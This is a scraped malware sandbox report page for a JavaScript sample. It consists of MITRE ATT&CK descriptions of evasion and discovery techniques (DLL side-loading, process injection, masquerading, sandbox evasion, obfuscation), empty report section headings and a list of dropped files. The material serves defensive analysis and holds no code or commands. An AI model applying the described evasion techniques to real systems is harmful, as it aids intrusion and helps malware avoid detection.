Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 5545194012153110815.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\35b79f41-dc2d-439b-b222-14192ca16677.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7956

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
5545194012153110815.js